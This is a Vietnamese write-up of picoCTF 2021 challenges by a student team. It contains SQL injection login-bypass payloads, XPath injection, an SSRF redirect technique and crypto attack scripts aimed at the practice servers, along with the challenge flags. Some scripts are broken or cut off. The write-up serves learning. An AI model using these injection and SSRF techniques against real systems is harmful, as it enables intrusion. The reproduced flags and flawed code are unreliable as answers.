wannaShare | Writeup picoCTF 2021 | Web + Pwn + Re + Crypto + Forensics

PHAPHA_JIàN
19:51 03/05/2021

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

picoCTF 2021 được tổ chức từ 16/03 đến 31/03 năm 2021

*GENERAL SKILL>

tangiang0812

-Tab, Tab, Attack

Trước tiên ta cần tải Addadshashanammu.zip về. Từ gợi ý ta sẽ unzip file này. Ta kiểm tra từng thư mục thì thấy được file "fang-of-haynekhtnamet" là một file có thể thực thi. Kiểm tra file này bằng cách dùng câu lệnh file. Sau đó ta sẽ thực thi file này. Vậy là ta đã có được flag: picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}

-Obedient Cat

Trước tiên ta tải Download flag. Sau đó ta mở Terminal, di chuyển đến thu mục Downloads bằng câu lệnh "cd Downloads" (cách dùng lệnh https://chiasefree.com/linux-tutorials/15-lenh-cd-trong-linux) . Sau khi di chuyển đến thư mục Downloads ta dùng lệnh "cat flag" . Lệnh cat dùng để hiển thị nội dung của file text, trong trường hợp này chính là file mà ta đã tải lúc bắt đầu.

-Nice netcat

Sử dụng câu lệnh mà đề gợi ý ta thu được như sau Dựa theo gợi ý của đề thì ta có thể biết được đây chính là thứ tự tương ứng của các ký tự trong bảng mã ASCII. Ta sẽ sử dụng một công cụ online để chuyển đổi các số thứ tự này thành cái ký tự trong bảng mã.

-Magikarp Ground Mission

Đọc đề bài kết hợp với google thì mình biết được ssh là một công cụ có thể dùng để kết nối với một máy khác và điều khiển máy đang được kết nối đó. Mình sẽ click vào nút Launch Instance để cho chạy máy mình sắp kết nối. Sau đó mình sẽ dùng dòng lệnh ssh ctf-player@venus.picoctf.net -p 49982 để kết nối vào máy đang chạy.

-Wave a flag

Đầu tiên ta cần tải file This program về. Sau đó ta sẽ chạy file. Nhưng lúc này file vẫn chưa thể chạy được vì file chưa được cấp quyền. Để cho file chạy được ta cần nhập câu lệnh "chmod +x warm" Sau khi nhập câu lệnh trên file đã có thể chạy được. Lúc này hiện lên yêu cầu thêm tham số -h xem điều gì sẽ xảy ra.



*WEB>


Author: nitol

-GET aHEAD

Từ description mình nghĩ ngay đến HTTP HEAD method requests, dùng curl ta có được flag.

-Scavenger Hunt

Xem source trang web. part 1 :Từ comment html của file index -> picoCTF{t part 2: comment của mycss.css -> h4ts_4_l0 part 3: robots.txt -> t_0f_pl4c part 4: ./htaccess -> 3s_2_lO0k part 5: .DS_Store -> _7a46d25d} Easy right?

-Cookies

Từ title ta kiểm tra cookie của trang web Name = -1 🤔, name=-1 ta thấy vấn đề ở đây thử đổi lại 1: Thử tăng dần name=2: Có vẻ như mỗi lần tăng dần index ta được kí tự khác nhau: Viết code để solve thôi, ta tìm thấy flag ở index thứ 18

-MOST COOKIES

Với tiêu đề và hints ta focus nhanh vào cookie Secret_key được chọn random từ list cookie_names, theo kinh nghiệm solve các challenge từ các giải trước mình chắc chắn 69,96% là dựa vào danh sách trên để usign cookie Mình lấy 1 tên bất kì từ danh sách trên để lấy session cookie: eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YGWFLg.0-iV6pAkrXOVNQTHzNs6mhOF_60 Ta dùng flask-unsign để brute secret với wordlist là danh sách ở biến cookie_names: Với session là admin thì trang web sẽ render ra flag !!! Sign lại với veryauth=admin bằng secret “fortune” Change cookie and got flag 😊 ![](https://gblobscdn.gitbook.com/assets%2Fwrite-up%2F-MXBc5m9Xt6IaxvgIuzq%2F-MXBqFQpKczoeRdlDvs%2F13.png?alt=media)

-Some Assembly Required 1

Bài này là dạng WASM khá chuối với người mới tiếp cận asm như mình @@(crypto + re trá hình) Fuzz từ source ta có khá nhiều thông tin để giải quyết: Từ Devtools console dump biến exports, có một hàm khả nghi là check_flag, nhấn vào functionlocation để xem code wasm Từ hàm copy_char có thể hiểu là chương trình tạo ra 1 array tạm sau đó copy từng phần tử từ input Không có một phép toán nào được thực thi nên mình tin đây là flag và submit.

-Some Assembly Required 2

Giống với bài 1 chỉ thay đổi hàm copy_char, ý tưởng thuật toán Lấy mỗi char trong input của user xor với 8 : Áp dụng tính chất của phép xor A^B=C và A^C=B Ta chỉ cần xor ngược chuỗi encode với 8 sẽ ra ngược lại flag Note: ở python cần thêm x vào sau backslash để biểu diễn bytes

data = b"xakgK\x5cNs((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu\x00\x00"
flag = ""
for i in range(0,len(data)):
    flag += chr(data[i] ^ 8)
print(flag)

-Some Assembly Required 3

Download file wasm từ chall Bài này khá dài nên mình dùng tool để decomplier sang mã giả javascript WebAssembly/wabt: The WebAssembly Binary Toolkit (github.com) Mình không có nhiều kiến thức về asm nên sẽ ko giải thích sâu vào phần này Bài này giống với 2 bài trên chỉ thay đổi hàm copy_char Ý tưởng bài toán: cho 2 dữ liệu là chuỗi encoded và chuỗi key, chủ yếu là xor giữa các index trong mảng, tương tự bài 2 Không vòng lòng belike hải phòng, đọc code mình solve sẽ hiểu

enc = b"\x9dn\x93\xc8\xb2\xb9A\x8b\x90\xc2\xddc\x93\x93\x92\x8fd\x92\x9f\x94\xd5b\x91\xc5\xc0\x8ef\xc4\x97\xc0\x8f1\xc1\x90\xc4\x8ba\xc2\x94\xc9\x90"
key=bytes.fromhex('f1a7f007ed')
flag = ''
for i in range(0,len(enc)):
  k = 4 - (i % 5)
  flag += chr(enc[i] ^ key[k])
print(flag)

tangiang0812

-Who are you?

Vào link của đề bài http://mercury.picoctf.net:1270/ và link của Hint1 https://tools.ietf.org/html/rfc2616 cộng với google thì mình biết được việc cần làm là thay đổi giá trị của User-Agent (là một loại HTTP header, bạn có thể tham khảo các loại HTTP headers tại https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers). Giá trị mặc định của User-Agent chính là Browser mà bạn đang dùng để truy cập vào trang web. Hình ảnh hiển thị khi truy cập vào trang web bằng Firefox Có nhiều cách để thay đổi giá trị của User-Agent. Mình lựa chọn sử dụng công cụ curl của Linux. Bạn có thể tim hiểu thêm về công cụ này tại manpage của curl. đây chính là trang truy cập được khi chưa thay đổi giá trị của User-Agent, phần khung chữ nhật chính là câu lệnh mà mình đã dùng, phần khung elip chính là nội dung của trang (trùng khớp với nội dung khi mình dùng Firefox). còn đây chính là trang nhận được khi mình đã đổi User-Agent. Đến đây nội dung của trang lại gợi ý cho mình thay đổi thêm một header nữa. Xem trong trang https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers thì mình biết được header đó chính là Referer. Vì lần này mình thay đổi giá trị của 2 headers nên mình sẽ để các headers cần thay đổi vào một file text.txt để thuận tiện thao tác. https://gblobscdn.gitbook.com/assets%2F-MY-yw2At2FPB3DgF1vF%2F-MY-z1XI5j-AIQpO064j%2F-MY0CJe1Kj-Q42B1n_2E%2Fimage.png?alt=media&token=d875c53d-3685-4541-8d63-c6ab194b0f32 nội dung file text.txt Các bước cứ như thế lập lại, mỗi lần thay đổi giá trị của một header (thêm giá trị thay đổi vào file text.txt) lại có thêm một yêu cầu thay đổi giá trị của một header khác, cho đến khi ta có được một file text.txt đầy đủ theo yêu cầu của đề bài. file text.txt đầy đủ Và thế là ta đã nhận được flag của bài: picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}


n3mo

-Web Gauntlet 2

type: sqli vào link chall thì ta thấy như sau, có thể đoán được mình phải bypass login ở đây. nhìn vào filter thì thấy như sau có 2 cách có thể cmt trong sqllite là /**/ và -- đều đã bị cho vào black list, nhìn vào filter này thì có vẻ nohope, mình thử login như một user bình thường thì thấy được query như sau. SELECT username, password FROM users WHERE username='a' AND password='â'

ở trường hợp bình thường thì mình có thể tạo chuỗi admin đồng thời cmt đống phía sau thì có thể bypass được login, nhưng ở đây đã bị filter hết các cách cmt trong sqlite. mình nghĩ tới hướng ném tất cả những thứ dư thừa vào trong một hàm thì có thể thay thế cmt luôn. kiểu đại loại như

SELECT username, password FROM users WHERE username='admin'||substr(' AND password=',0,0)||'' trong sqlite toán tử || dùng để nối chuỗi, như trường hợp trên ta đã loại bỏ được phần AND password= mà không cần dùng tới cmt nhưng admin thì có trong black list nên ta sẽ tiếp tục sử dụng nối chuỗi ở đây. vậy payload cuối cùng của bài như sau: username: admi'||'n'||substr( password: ,0,0)||' check filter.php thì sẽ có flag + source code.

-Web Gauntlet 3

cũng tương tự như chall trước nhưng bây giờ bị limit ký tự ngắn hơn: len(username+pass)<25 nên việc sử dụng substr là không khả thi, mình chuyển sang doc của sqlitte để tìm kiếm một hàm thích hợp. có vẻ hàm này là thích hợp nhất, mình thử test local với hàm này như sau ức là nó sẽ trả về đối số đầu tiên không phải null. vậy payload cuối của mình như sau. username: admi'||(nullif('n', password: ))||' query trong db: SELECT username, password FROM users WHERE username='admi'||(nullif('n',' AND password='))||''

-X marks the spot

type: xpath injection với hint được cho là xpath, mình search gg về bug này Security: XPath Injection. What? How? thử với payload injection bình thường để bypass login thì thấy chỉ có dòng màu xanh hiện ra -> bypass login không phải vấn đề vậy chỉ còn lại extract password. mình tiếp tục search blind xpath injetion. sau khi đọc khá nhiều blog về dạng này mình nhận thấy chắc chắn phải biết cấu trúc của xml bên trong mới thực hiện query blind được, nhưng thử các cách thì đều không thể tìm được cấu trúc của xml nên mình chuyển hướng.

search gg: xpath search the entire document for a string sử dụng //* để tìm kiếm flag trong toàn bộ document. xác nhận blind thành công, tới đây có thể viết script để brute phần còn lại của flag.

-bitHug

type: ssrf đề cung câp source nên ta sẽ đọc qua một lượt để tìm chỗ có thể focus vào ở đây mình focus vào các file api, server được viết bằng type script đầu tiên ở file auth-api.ts nếu request được gửi từ local thì user đó sẽ được auto xác nhận là admin đồng thời flag nằm ở repo của admin => ssrf. ở fikle git-api.ts tạo một web hook với điều kiện không được point to local thực hiện push git bất kỳ sẽ trigger webhook, đây là chỗ mà ta sẽ ssrf. vì app sử dụng fetch để request tới webhook nên ta có thể sử dụng redirect ở đây -> có thể bypass được điều kiện ở add webhook thực hiện đăng nhập và tạo mới repo với file README.md ở table user ta thấy đây là cách để add một user bất kỳ vào repo của mình => goal là ssrf add mình vào repo của admin

exploit

clone reop của mình về thực hiện add user như hướng dẫn. ở lệnh push cuối cùng, đồng thời bật wireshark để bắt request ta thấy đây là post request để add user vào repo copy payload và encode base64 như sau copy gói tin ở dạng escape string payload bắt đầu từ \x30\x30 ở chức năng tạo web hook ![](https://gblobscdn.gitbook.com/assets%2F-MMdqbAeoFMfWVhfYubS%2F-MX9xFYEU7yBxBB09ZW7%2F-MXA-ssVKF4G_9qSXsvl%2Fimage.png?alt=media&token=b6ddb63a-87a4-4243-872b-dc5638895bc6) post request ta thấy mình có thể control bao gồm, url,payload ở dạng base64, và content type. ở redirect status có 2 dạng chính là 302 và 307 What's the difference between a 302 and a 307 redirect? 302 chỉ chuyển hướng tới target với get request, còn 307 thì chuyển đồng thời cả method và data nếu có. vậy ta tạo một file thực hiện 307 redirect như sau mở ngrok để tunner connect ra internet body là bs64 đã gen trước đó, content type giống với lúc push git push bất kì để trigger web hook ta thấy có request tới và được redirect ngay xác nhận add user thành công bằng cách access /_/n3mo

-Super Serial

request tới robots.txt ta thấy 1 endpoint mới là admin.phps nhưng request tới endpoint đó thì thấy 404 thử access vào index.phps follow theo thì ta sẽ lấy đủ source cookie.php authentication đọc code ta thấy, file này require cookie.php mà ở trong cookie.php unserialize bất kỳ cookie login nào nếu được set class access_log có phướng thức tostring để unserialize final payload


phmngcthanh

-It is my Birthday

Ở bài này, web yêu cầu đưa 2 file khác nhau nhưng có chuỗi md5 giống nhau, còn được gọi là "đụng độ". Các bạn có thể xem "md5 collision atack" trên Google. Bởi vì challenge không check file PDF có hợp lệ hay không,ta chỉ việc upload 2 file có block "đụng độ" ( khi search google là được.

-It is my Birthday2

Ở challenge này, chúng ta phải submit 2 file PDF hợp lệ, có 1000bytes cuối giống file PDF gốc, và 2 file cùng SHA-1, mặc dù nội dung khác nhau. Đầu tiên, để tạo ra 2 file PDF đụng độ SHA-1, team chúng mình đã dùng tool SHA1Collider (https://github.com/nneonneo/sha1collider) . Nhưng, còn yêu cầu " có 1000bytes cuối giống file PDF gốc" ? Tụi mình phát hiện ra rằng, theo tiêu chuẩn của PDF, thì dấu kêt thúc PDF phải nằm trong 1024 bytes cuối. Nghĩa là khi kết thúc file PDF, các bạn có đủ 1000bytes để "Copy-paste" nội dung của file gốc. Ngạc nhiên hơn là chuyện này vẫn không làm thay đổi SHA1 hash của 2 file. Trăm nghe không bằng mắt thấy, đây là 2 file tụi mình dùng: out-invite.pdf out-invite.pdf - 3MB out-invite2.pdf out-invite2.pdf - 3MB

phuonghoang

-Some Assembly Required 4

You can find out the source of challenge and script here(script, wasm and decompiled code)

The key steps to solve

  1. Get file web assembly(.wasm) from this challenge webpage
  2. Install two packets including wabt toolkit and binaryen
  3. Using following command to decompile the web assembly to pseudo-code format:
    $ wasm-decompile ZoRd23o0wd > output
  4. Analyzing the check_flag() function of file which contains the pseudo code, I recognize that there are three stages in processing the entered flag:
    • Stage 1:

export function check_flag():int {
  var a:int = g_a;
  var b:int = 16;
  var c:int = a - b;
  g_a = c;
  var d:int = 0;
  c[3]:int = d;
  loop L_b {
    var e:ubyte_ptr = c[3]:int;
    var f:int = e[1072];
    var g:int = 24;
    var h:int = f << g;
    var i:int = h >> g;
    if (eqz(i)) goto B_a;    // flag[i] == 0 then break Stage 1
    var j:int = 0;
    var k:int = c[3]:int;
    var l:int = k[1072]:ubyte;
    var m:int = 24;
    var n:int = l << m;
    var o:int = n >> m;
    var p:int = 20;
    var q:int = o ^ p;    //flag[i] ^= 20
    k[1072]:byte = q;
    var r:int = c[3]:int;
    var s:int = r;
    var t:int = j;
    var u:int = s > t;
    var v:int = 1;
    var w:int = u & v;
    if (eqz(w)) goto B_c;  //if i <= 0 then jump
    var x:int = c[3]:int;
    var y:int = 1;
    var z:ubyte_ptr = x - y;
    var aa:int = z[1072];
    var ba:int = 24;
    var ca:int = aa << ba;
    var da:int = ca >> ba;
    var ea:int = c[3]:int;
    var fa:int = ea[1072]:ubyte;
    var ga:int = 24;
    var ha:int = fa << ga;
    var ia:int = ha >> ga;
    var ja:int = ia ^ da;  //else flag[i]^=flag[i - 1]
    ea[1072]:byte = ja;
    label B_c:
    var ka:int = 2;
    var la:int = c[3]:int;
    var ma:int = la;
    var na:int = ka;
    var oa:int = ma > na;
    var pa:int = 1;
    var qa:int = oa & pa;
    if (eqz(qa)) goto B_d;  //if i <=2 the jump 
    var ra:int = c[3]:int;
    var sa:int = 3;
    var ta:ubyte_ptr = ra - sa;
    var ua:int = ta[1072];
    var va:int = 24;
    var wa:int = ua << va;
    var xa:int = wa >> va;
    var ya:int = c[3]:int;
    var za:int = ya[1072]:ubyte;
    var ab:int = 24;
    var bb:int = za << ab;
    var cb:int = bb >> ab;
    var db:int = cb ^ xa;  //else flag[i]^=flag[i - 3]
    ya[1072]:byte = db;
    label B_d:
    var eb:int = c[3]:int;
    var fb:int = 10;
    var gb:int = eb % fb;
    var hb:int = c[3]:int;
    var ib:int = hb[1072]:ubyte;
    var jb:int = 24;
    var kb:int = ib << jb;
    var lb:int = kb >> jb;
    var mb:int = lb ^ gb;  // flag[i] ^=(i % 10)
    hb[1072]:byte = mb;
    var nb:int = c[3]:int;
    var ob:int = 2;
    var pb:int = nb % ob;
    if (pb) goto B_f;      //if i %2 != 0 the jump
    var qb:int = c[3]:int;
    var rb:int = qb[1072]:ubyte;
    var sb:int = 24;
    var tb:int = rb << sb;
    var ub:int = tb >> sb;
    var vb:int = 9;
    var wb:int = ub ^ vb;  //else flag[i]^=9
    qb[1072]:byte = wb;
    goto B_e;
    label B_f:
    var xb:int = c[3]:int;
    var yb:int = xb[1072]:ubyte;
    var zb:int = 24;
    var ac:int = yb << zb;
    var bc:int = ac >> zb;
    var cc:int = 8;
    var dc:int = bc ^ cc;  //i%2 != 0: flag[i]^=8
    xb[1072]:byte = dc;
    label B_e:
    var ec:int = c[3]:int;
    var fc:int = 3;
    var gc:int = ec % fc;
    if (gc) goto B_h;
    var hc:int = c[3]:int;
    var ic:int = hc[1072]:ubyte;
    var jc:int = 24;
    var kc:int = ic << jc;
    var lc:int = kc >> jc;
    var mc:int = 7;
    var nc:int = lc ^ mc;  //i%3 = 0: flag[i]^= 7
    hc[1072]:byte = nc;
    goto B_g;
    label B_h:
    var oc:int = 1;
    var pc:int = c[3]:int;
    var qc:int = 3;
    var rc:int = pc % qc;
    var sc:int = rc;
    var tc:int = oc;
    var uc:int = sc == tc;
    var vc:int = 1;
    var wc:int = uc & vc;
    if (eqz(wc)) goto B_j;
    var xc:int = c[3]:int;
    var yc:int = xc[1072]:ubyte;
    var zc:int = 24;
    var ad:int = yc << zc;
    var bd:int = ad >> zc;
    var cd:int = 6;
    var dd:int = bd ^ cd;//i %3 =1: flag[i]^= 6
    xc[1072]:byte = dd;
    goto B_i;
    label B_j:
    var ed:int = c[3]:int;
    var fd:int = ed[1072]:ubyte;
    var gd:int = 24;
    var hd:int = fd << gd;
    var id:int = hd >> gd;
    var jd:int = 5;
    var kd:int = id ^ jd;  //i %3 =2: flag[i] ^=5
    ed[1072]:byte = kd;
    label B_i:
    label B_g:
    var ld:int = c[3]:int;
    var md:int = 1;
    var nd:int = ld + md;
    c[3]:int = nd;
    continue L_b;
  }

*CRYPTO>

-Mind your Ps and Qs

Thuật toán RSA được bảo mật bằng bài toán "phân tích thừa số nguyên tố", nghĩa là nếu tình yêu đủ lớn.. í, mình lộn, nếu thừa số nguyên tố đủ lớn, thì tốn rất nhiều thời gian để phân tích ra thừa số nguyên tố ( như RSA là P và Q) Trong bài này, tích (n) nhỏ và có thể phân tích bằng factordb.com. Khi có P và Q thì có thể giải mã

-Mini RSA

Ciphertext được sinh ra bằng công thức c= (p^e) mod n, với c là ciphertext, p là plaintext, e là số mũ công khai và n =pq Công thức trên có thể viết lại thành kn+c = p^e, với k là số tự nhiên. Vì e nhỏ nên việc của mình là burteforce k

-dachshund Attacks

import owiener
c = 58488006847888091092084378046154965524139814504588578842395415774713951340513603136140178935375830638670035187168168514479798082357748205539349212760230888584041482803733520634305799812171560852884047387712518338484144105438656691063069953419554806451881167277782405506229655745327637346290140567453602174552
e = 120226017522565183836262865308286857213171377547159365586174240407713740362490864149595993072576217419316655216386266807330843980973893346041417638246576356509549734839817957173357638250589227721270964572726362039926585015102265251895985759475692018165661259402988038710351375101515436382174684002069348924887
n = 121401373055529266417561691962494097622396159714690239935866568210576609264939890281943756836580573424025795627074268485932408486072211381137864693498436205458719545445153744756379905214838382283453157201968328186381936856105260830884464466011497728514563619379418703831640077905810313010554008772010579975887
d = owiener.attack(e, n)
uncipher= pow(c,d,n)
flag=bytes.fromhex(hex(uncipher)[2:]).decode('utf-8')
print(flag)

-Compress and Attack

Ở challenge này, khi chúng ta kết nối với server , server sẽ nhận đoạn chúng ta gửi, cộng nó với flag, gzip nó lại và mã hóa bằng Salsa20. Team mình có thử research xem thử Salsa20 có kiểu tấn công nào hiệu quả không thì không có :( Vậy chắc là có gì ở gzip

def compress(text):
    return zlib.compress(bytes(text.encode("utf-8")))
def encrypt(plaintext):
    secret = os.urandom(32)
    cipher = Salsa20.new(key=secret)
    return cipher.nonce + cipher.encrypt(plaintext)

Sau khi phân tích, thì mình nhận ra được: Khi encrypt, độ dài của ciphertext = độ dài plaintext Khi nén,nếu có đoạn lặp lại thì nó (bằng cách nào đó) độ dài chỉ thay đổi nhỏ so với đoạn không lặp lại vd: "picoCTF{" nén lại có len=16, khi nén "picoCTF{{", "picoCTFCTF{" , "picoCTF{icoCTF{" có length đều là 17 Rồi, bắt đầu crack thôi ha?

from socket import *
import time
import os
HOST='mercury.picoctf.net'
s=socket(AF_INET, SOCK_STREAM)
s.connect(('mercury.picoctf.net', 29350))
printable='_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
pad=b'!@#$%^&*()'
flag=b''
def Pharse(s):
      s=s.split(b'\n')
      for i in s:
              if(((len(i))==2) or (len(i)==3)):
                      return i
time.sleep(1)
b=s.recv(40960)
print(s.sendall(pad+flag+pad+b'\n'))
time.sleep(1)
b=s.recv(40960)
length=Pharse(b)
print(length)
try:
    for i in range(32):
        for j in printable:
            s.sendall(pad+bytes(j,'ansi')+flag+pad+b'\n')
            time.sleep(1)
            b=s.recv(40960)
            b=Pharse(b)
            print(b)
            if b==length:
                flag=bytes(j,'ansi')+flag
                os.system('cls')
                print(flag)
                continue
except ConnectionAbortedError as e:
    print(e)
    s=socket(AF_INET, SOCK_STREAM)
    s.connect(('mercury.picoctf.net', 29350))
    time.sleep(1)
    b=s.recv(40960)
    print(s.sendall(pad+flag+pad+b'\n'))
    time.sleep(1)
    b=s.recv(40960)
    length=Pharse(b)
    print(length)
    pass

-DoubleDES

Ở bài này, chúng ta được cho một file source và kết nối server. Chúng ta được cho ciphertext của flag,cũng như có thể đưa paintext vào để mã hóa ra ciphertext. Ở challenge này, plaintext được mã hóa bằng 2DES, vậy cúng ta có thể dùng cách tấn công meet-in-the-middle. Vì keyspace của chúng ta gồm 1000 000 kí tự , nếu chạy 2 vòng lồng nhau thì sẽ mất 1000000*1000000= 1 000 000 000 000 lần lặp. Ta sẽ chọn một plaintext, và server sẽ trả về ciphertext sau khi encrypt 2 lần với 2 key. Đầu tiên , ta sẽ encrypt plaintext với tất cả keyspace có thể, và lưu nó lại. Sau đó, ta sẽ giải mã ciphertext bằng tất cả keyspace có thể, và lưu nó vào một bảng khác. Sau đó so sánh nếu hai giá trị bằng nhau, và ta sẽ được key mã hóa và giải mã. Chi tiết về cách tấn công này, các bạn có thể xem ở đây

#!/usr/bin/env python3
from Crypto.Cipher import DES
import time
from binascii import unhexlify, hexlify
a=time.time()
def encrypt(key, plain_text):
    cipher = DES.new(key, DES.MODE_ECB)
    return cipher.encrypt(plain_text)
def decrypt(key, cipher_text):
    cipher = DES.new(key, DES.MODE_ECB)
    return cipher.decrypt(cipher_text)
def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()
def _precompute(plain_text, key):
    return (encrypt(key, plain_text),key)
def _postcompute(plain_text, key):
    return (key,decrypt(key, plain_text))    
key_gen=[]
table2=[]
plain_text = unhexlify('7069636f63746620')
cipher_text =unhexlify('39031208f84d4a6e')
flag=b'f7adcad0dea941c236b0eb392169cc67df619234c7944e9a455b1099cd8232f9d7827845c78c79fd'
print(plain_text,cipher_text)
for i in range(0,999999):
    key_gen.append(pad("{0:06d}".format(i)))
table1 = dict([_precompute(plain_text, key) for key in key_gen])
for key2 in key_gen:
    table2.append(_postcompute(cipher_text,key2))
found_key=[]
for i in table2:
    if i[1] in table1:
        print(decrypt(table1[i[1]],decrypt(i[0],unhexlify(flag))))
        break
b=time.time()
print(a-b)

-Easy Peasy

Ở bài này, ta thấy: Key có độ dài 50 000 kí tự Server mã hóa flag bằng 32 kí tự đầu của key Server cho ta gửi plaintext để encrypt, và mỗi lần encrypt, sẽ lấy n key và lần sau sẽ lấy ở vị trí tiếp theo Nếu mã hóa hết 50 000 kí tự, sẽ quay về vị tri ban đầu Bản chất của XOR là a^b^a=b Vậy, ta sẽ gửi số kí tự bằng 50000- len(flag). Sau đó ta gửi thêm 32 kí tự . Lúc này server sẽ trả về ciphertext dùng cùng key với flag. XOR lại và ta sẽ có flag

from socket import *
import time
HOST='mercury.picoctf.net'
PORT=41934
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
b=s.recv(4096)
payload=b'a'*50000
s.sendall(payload+b'\n')
time.sleep(10)
s.recv(4096000)
s.sendall(b'a'*32 +b'\n')
pay=s.recv(4096)
# lấy hex XOR với ord('a'), sau đó XOR với flag ban đầu là ra

-Scrambled: RSA

Con hàng nay khoai thật sự =))) gần cuối giải mình mới có thể khám phá được thuật toán. Tưởng tượng, thay vì khi mã hóa, bạn mã hóa nguyên đoạn plaintext, mà thay vào đó bạn sẽ mã hóa từng kí tự với vị trí của chúng, và từng cái ciphertext đó lại trộn lẫn vào nhau? Ví dụ: với đoạn p i c o server sẽ mã hóa từng kí tự với vị trí của chúng : <p1><i2> <c3><o4> Nhưng nếu gửi c o p i , ta sẽ được <c1><o2><p3><i4> , khác hoàn toàn với đoạn ở trên Nếu như vậy thôi là dễ rồi, nhưng đời không như mơ! Với đoạn p i c o, có thể chúng ta sẽ nhận được <p1><i2> <c3><o4> hoặc <p1><c3><i2> <o4> , <c3><o4> <p1><i2> ... không biết được thứ tự <(") . Vậy, để xử lý, chúng ta sẽ burteforce từng kí tự, và kiểm tra encrypt nó có trong flag hay không.

import os
from socket import *
import time
HOST='mercury.picoctf.net'
PORT=6276
def GetC(c):
    if(len(Cipher)>0):
        for i in Cipher:
            c=c.replace(i,b'')
    return c
def Clean_Response(res):
    res=res.replace(b'I will encrypt whatever you give me: ',b'')
    res=res.replace(b'Here you go: ',b'')
    res=res.replace(b'\n',b'')
    return res
known_flag=''
Cipher=[]
RegEx='{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}!#$%&\()*+,-./:;<=>?@[\\]^_`'
def Run_Code(known_flag,Cipher):  
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((HOST, PORT))
    time.sleep(4)
    flag=s.recv(409600)
    print(flag)
    flag=((flag.split(b' '))[1].split(b'\n'))[0]
    g=b''
    for i in known_flag:
        payload=g+bytes(i,'ascii')+b'\n'
        s.sendall(payload)
        time.sleep(2)
        p=s.recv(409600)
        p=Clean_Response(p)
        p=GetC(p)
        Cipher.append(p)
        g+=bytes(i,'ansi')    
    for i in Cipher:
        print(i in flag,end='')
    known_flag=bytes(known_flag,'ansi')
    a=time.time()
    for j in RegEx:
        payload=known_flag+bytes(j,'ansi')+b'\n'
        s.sendall(payload)
        time.sleep(2)
        p=s.recv(40960000)
        p=Clean_Response(p)
        print(p)        
        p=GetC(p)
        if p in flag:
            known_flag+=bytes(j,'ansi')
            Cipher.append(p)
            os.system('cls') 
            print(known_flag)
            break
    b=time.time()
    print('took',b-a,'sec')
Run_Code(known_flag,Cipher)

-Caesar

Bài này mã hóa bằng thuật toán caesar.Thuật toán caesar là thuật toán mã hóa cơ bản, dịch chuyển kí tự đi n vị trí. Ở bài này, bảng chữ cái có 26 kí tự, ta có thể thử cả 26 kí tự để tìm ra flag

import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
def b16_decode(encoded):
    dec=""
    for c in range((len(encoded)//2)):
        binary="{0:04b}".format(ALPHABET.index(encoded[2*c]))
        binary+="{0:04b}".format(ALPHABET.index(encoded[2*c+1]))
        #print((encoded[2*c]),(encoded[2*c+1]))
        #print(binary)
        dec+=chr(int(binary,2))
    return dec
def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
t2 = k
    return ALPHABET[( t1-t2) % len(ALPHABET)]
encoded = "ihjghbjgjhfbhbfcfjflfjiifdfgffihfeigidfligigffihfjfhfhfhigfjfffjfeihihfdieieih"
k = ALPHABET
for key in range(17):
    enc = ""
    for i, c in enumerate(encoded):
        enc += shift(c, key)
    #print(enc)
    print('picoCTF{',b16_decode(enc),'}')
#print(enc)

-Pixelated

Việc của ta là XOR 2 ảnh lại

import numpy as np
from PIL import Image
im1 = Image.open("scrambled1.png")
im2 = Image.open("scrambled2.png")
im1np = np.array(im1)*1079
im2np = np.array(im2)*1079
result = np.bitwise_xor(im1np, im2np).astype(np.uint8)
Image.fromarray(result).save('result.png')

Mochi Nishi

-New Caesar

Source Code for New Caesar Source Code for New Caesar Nhìn vào source code, ta có một vài nhận xét:

-New Vignere

Chúng ta sẽ lướt nhìn vào source code:

import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc
def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]
flag = "redacted"
assert all([c in "abcdef0123456789" for c in flag])
key = "redacted"
assert all([k in ALPHABET for k in key]) and len(key) < 15
b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
    enc += shift(c, key[i % len(key)])
print(enc)

Từ những điều trên, ta thấy rằng New Vignere là một New Caesar nhưng hoàn hảo hơn, như vậy ta cần phải viết một đoạn script hoàn hảo hơn để có thể break được cipher này với một vài ý tưởng sau:

import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
def shift_decode(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]
string = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp'
keyChar = "abcdef0123456789"
li1 = ['le', 'lf', 'lg', 'lh', 'li', 'lj', 'ob', 'oc', 'od', 'oe', 'of', 'og', 'oh', 'oi', 'oj', 'ok']
li2 = ['af', 'ag', 'ah', 'ai', 'aj', 'ak', 'dc', 'dd', 'de', 'df', 'dg', 'dh', 'di', 'dj', 'dk', 'dl']
li3 = ['ca', 'cl', 'cm', 'cn', 'co', 'cp', 'fa', 'fb', 'fi', 'fj', 'fk', 'fl', 'fm', 'fn', 'fo', 'fp']
